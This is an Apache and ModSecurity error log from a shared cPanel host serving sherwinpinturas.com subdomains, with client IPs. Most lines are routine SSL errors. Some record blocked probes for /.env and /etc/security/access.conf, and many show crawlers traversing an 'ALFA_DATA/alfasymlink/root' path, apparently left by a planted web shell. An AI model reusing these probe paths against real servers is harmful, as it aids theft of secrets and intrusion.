[Mon Oct 26 10:55:02.627647 2026] [security2:error] [pid 3048426:tid 3048426] [client 101.32.52.164:57436] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/beta/bulletok.php"] [unique_id "at9pxs_aQoRFrM3Q7-RtXgAAAAM"]
[Mon Oct 26 10:55:07.685472 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 34.231.77.232:18648] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:55:20.509340 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 52.203.65.83:3705] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:55:27.759741 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 23.21.225.190:38466] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:55:31.809293 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 3.216.13.10:54361] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:55:36.006497 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 44.223.115.10:36540] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:55:39.916993 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 23.21.204.95:46857] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:55:43.710205 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 98.82.38.120:25203] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:55:51.806426 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 98.84.70.201:41950] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:55:56.031710 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 34.225.24.180:4583] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:56:03.876560 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 34.194.226.74:63049] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:56:20.107549 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 184.73.68.20:42185] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:56:23.814843 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 35.173.38.202:26649] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:56:26.971446 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 85.208.96.201:17382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/cpu_slabs
[Mon Oct 26 10:56:31.671009 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 98.83.177.42:35039] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:56:35.753263 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 54.145.82.217:14469] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:56:43.941245 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 52.45.77.169:20849] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:56:47.715202 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 54.90.8.255:45144] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/PNP0501:00/subsystem/drivers_probe
[Mon Oct 26 10:56:51.796349 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 44.213.202.136:12275] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:56:55.606235 2026] [core:error] [pid 3044268:tid 3044268] (13)Permission denied: [client 185.191.171.7:38800] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uts_namespace/store_user
[Mon Oct 26 10:56:56.062020 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 54.225.181.161:24925] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:57:07.719768 2026] [ssl:error] [pid 3048988:tid 3048988] (70014)End of file found: [client 3.223.181.32:12819] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:57:11.851112 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 35.170.205.140:19255] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:57:17.946719 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 23.22.105.143:43988] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:57:19.996583 2026] [ssl:error] [pid 3048426:tid 3048426] (70014)End of file found: [client 3.230.224.6:3205] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:57:27.684903 2026] [core:error] [pid 3048588:tid 3048588] (13)Permission denied: [client 3.213.46.222:29884] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/virtual/tty/tty1/subsystem/tty3/subsystem/ttyS0/type
[Mon Oct 26 10:57:46.400585 2026] [core:error] [pid 3048588:tid 3048588] (13)Permission denied: [client 85.208.96.198:20702] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_mrt_cache/cpu_partial
[Mon Oct 26 10:57:47.680723 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 3.209.174.110:40432] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:57:51.769508 2026] [core:error] [pid 3050354:tid 3050354] (13)Permission denied: [client 85.208.96.209:33464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/sanity_checks
[Mon Oct 26 10:57:51.797211 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 44.194.139.149:46778] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:58:00.132733 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 54.166.126.132:63594] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:58:03.755347 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 52.202.52.82:10516] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:58:10.784082 2026] [security2:error] [pid 3045151:tid 3045151] [client 91.92.240.86:52246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9qgrOULSJArBQUG8_d6QAAAAA"]
[Mon Oct 26 10:58:10.784380 2026] [security2:error] [pid 3045151:tid 3045151] [client 91.92.240.86:52246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9qgrOULSJArBQUG8_d6QAAAAA"]
[Mon Oct 26 10:58:10.784747 2026] [security2:error] [pid 3045151:tid 3045151] [client 91.92.240.86:52246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9qgrOULSJArBQUG8_d6QAAAAA"]
[Mon Oct 26 10:58:15.775213 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 52.205.222.214:47802] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:58:23.714990 2026] [core:error] [pid 3050354:tid 3050354] (13)Permission denied: [client 54.85.126.86:8369] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource0
[Mon Oct 26 10:58:39.719153 2026] [ssl:error] [pid 3048988:tid 3048988] (70014)End of file found: [client 18.213.240.226:38615] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:58:55.902508 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 44.207.252.58:6516] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:59:04.554754 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 3.224.215.150:42485] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:59:05.070142 2026] [core:error] [pid 3048990:tid 3048990] (13)Permission denied: [client 185.191.171.16:50150] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/remote_node_defrag_ratio
[Mon Oct 26 10:59:11.914404 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 3.219.80.71:32152] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:59:15.771419 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 3.235.215.92:16008] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:59:16.964021 2026] [security2:error] [pid 3035808:tid 3035808] [client 107.172.76.131:54644] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9quTs8VJ7QW5firx_mewAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 10:59:16.964065 2026] [security2:error] [pid 3035808:tid 3035808] [client 107.172.76.131:54644] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9quTs8VJ7QW5firx_mewAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 10:59:19.792683 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 54.225.148.123:3705] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:59:24.497725 2026] [core:error] [pid 3044312:tid 3044312] (13)Permission denied: [client 185.191.171.6:59294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_mark/align
[Mon Oct 26 10:59:27.785609 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 98.82.63.147:22976] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:59:35.791170 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 52.54.249.218:23992] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:59:39.714276 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 44.215.231.15:59713] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:59:42.710174 2026] [security2:error] [pid 3041799:tid 3041799] [client 43.159.34.167:32956] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at9q3rJEa6xP7LBmBmOpyAAAAAI"]
[Mon Oct 26 10:59:42.711272 2026] [authz_core:error] [pid 3041799:tid 3041799] [client 43.159.34.167:32956] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 10:59:51.796672 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 184.73.35.182:5379] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:00:01.673069 2026] [core:error] [pid 3039832:tid 3039832] (13)Permission denied: [client 185.191.171.18:15320] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/validate
[Mon Oct 26 11:00:04.217792 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 54.87.95.7:56358] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:00:07.838494 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 52.203.237.170:2026] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:00:15.720481 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 3.230.224.6:23080] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:00:19.767138 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 18.232.36.1:12395] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:00:23.793593 2026] [core:error] [pid 3044268:tid 3044268] (13)Permission denied: [client 23.23.103.31:16538] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/rescan
[Mon Oct 26 11:00:27.860233 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 34.235.239.240:1941] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:00:39.695069 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 3.214.176.44:38680] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:00:51.960412 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 54.210.155.69:26317] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:00:53.166245 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 85.208.96.212:21716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_table_s/shrink
[Mon Oct 26 11:00:55.766019 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 100.28.44.58:45238] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:00:59.689904 2026] [core:error] [pid 3048990:tid 3048990] (13)Permission denied: [client 44.196.118.6:45996] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/uevent
[Mon Oct 26 11:01:07.753120 2026] [ssl:error] [pid 3052341:tid 3052341] (70014)End of file found: [client 54.243.63.52:14069] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:01:17.687940 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 18.209.201.119:54278] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:01:35.943714 2026] [ssl:error] [pid 3052341:tid 3052341] (70014)End of file found: [client 18.210.58.238:62832] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:01:51.792754 2026] [ssl:error] [pid 3052341:tid 3052341] (70014)End of file found: [client 54.163.169.168:19088] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:01:56.822241 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 185.191.171.16:55226] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:02:06.176747 2026] [core:error] [pid 3048989:tid 3048989] (13)Permission denied: [client 185.191.171.18:48560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PINGv6/trace
[Mon Oct 26 11:02:07.951415 2026] [ssl:error] [pid 3052341:tid 3052341] (70014)End of file found: [client 52.70.123.241:46661] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:02:16.072156 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 54.89.90.224:13147] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:02:23.874141 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 54.164.106.236:53857] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:02:27.861580 2026] [ssl:error] [pid 3052341:tid 3052341] (70014)End of file found: [client 34.233.219.155:24508] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:02:35.924303 2026] [ssl:error] [pid 3052341:tid 3052341] (70014)End of file found: [client 44.205.192.249:25566] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:02:43.769496 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 23.21.250.48:34370] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:03:12.399198 2026] [core:error] [pid 3048990:tid 3048990] (13)Permission denied: [client 185.191.171.2:56512] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dentry/partial
[Mon Oct 26 11:03:15.548569 2026] [core:error] [pid 3050354:tid 3050354] (13)Permission denied: [client 185.191.171.14:16434] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-256/cpu_slabs
[Mon Oct 26 11:03:17.126485 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 98.82.39.241:55185] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:03:19.796187 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 54.147.80.137:60838] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:03:43.751942 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 54.144.185.255:37138] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:03:57.859656 2026] [core:error] [pid 3044268:tid 3044268] (13)Permission denied: [client 85.208.96.211:34482] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCP/usersize
[Mon Oct 26 11:03:59.882384 2026] [security2:error] [pid 3039832:tid 3039832] [client 107.172.76.131:54758] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9r0-CMgRXzP74NO6wMvgAAAAU"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 11:03:59.882474 2026] [security2:error] [pid 3039832:tid 3039832] [client 107.172.76.131:54758] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9r0-CMgRXzP74NO6wMvgAAAAU"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 11:04:08.194786 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 3.223.181.32:59149] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:04:12.059677 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 54.156.55.147:3195] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:04:15.924115 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 54.85.7.119:42124] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:04:23.804581 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 100.29.128.75:52259] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:04:31.995476 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.203.111.15:17900] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:04:41.130991 2026] [security2:error] [pid 3052342:tid 3052342] [client 43.134.3.111:44722] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/beta/remover.php"] [unique_id "at9sCXNsi4cqo2ItOKd9qwAAAAM"]
[Mon Oct 26 11:04:47.838062 2026] [core:error] [pid 3045151:tid 3045151] (13)Permission denied: [client 3.216.86.144:49151] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory0/subsystem/devices/memory6/node0/compact
[Mon Oct 26 11:05:17.492305 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 98.84.60.17:55277] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:05:19.666752 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 52.2.4.213:53529] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:05:23.608192 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 184.73.35.182:51690] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:05:28.283686 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 54.91.122.193:42072] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:05:31.880934 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 44.205.192.249:57480] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:05:43.497962 2026] [ssl:error] [pid 3052341:tid 3052341] (70014)End of file found: [client 44.213.202.136:45631] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:05:47.591722 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 54.225.199.17:47720] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:05:55.566488 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 44.206.93.215:58878] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:06:03.627440 2026] [core:crit] [pid 3052563:tid 3052563] (13)Permission denied: [client 20.29.44.99:56300] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 11:06:07.579322 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 18.214.138.148:2510] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:06:15.311774 2026] [ssl:error] [pid 3052341:tid 3052341] (70014)End of file found: [client 34.236.135.14:40223] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:06:19.269211 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 54.235.191.179:50168] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:06:34.343595 2026] [security2:error] [pid 3052342:tid 3052342] [client 16.216.88.157:45056] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/access.conf"] [unique_id "at9senNsi4cqo2ItOKd9rgAAAAM"]
[Mon Oct 26 11:06:34.344113 2026] [security2:error] [pid 3052342:tid 3052342] [client 16.216.88.157:45056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/access.conf"] [unique_id "at9senNsi4cqo2ItOKd9rgAAAAM"]
[Mon Oct 26 11:06:34.344440 2026] [security2:error] [pid 3052342:tid 3052342] [client 16.216.88.157:45056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/access.conf"] [unique_id "at9senNsi4cqo2ItOKd9rgAAAAM"]
[Mon Oct 26 11:07:03.091227 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 18.213.70.100:61734] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:07:14.803734 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 52.203.152.231:20114] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:07:19.374212 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 23.21.148.226:23056] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:07:26.627151 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 52.71.216.196:20937] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:07:34.798323 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 54.80.185.200:36998] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:07:38.690192 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 23.21.148.226:64147] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:07:42.500916 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 54.235.125.129:60665] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:07:50.326695 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 50.19.221.48:61420] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:07:58.320793 2026] [core:error] [pid 3044296:tid 3044296] (13)Permission denied: [client 3.229.2.217:19904] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/rescan
